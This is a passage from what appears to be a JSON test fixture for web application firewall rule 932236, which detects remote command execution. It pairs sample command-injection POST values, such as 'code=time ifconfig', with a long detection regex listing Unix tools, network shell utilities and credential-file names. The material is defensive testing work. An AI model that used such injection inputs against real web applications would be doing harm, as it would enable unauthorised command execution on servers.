\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block evasion using here string with command substitution" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time ifconfig\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\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\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block `time` prefix" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=strace ifconfig\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a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|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|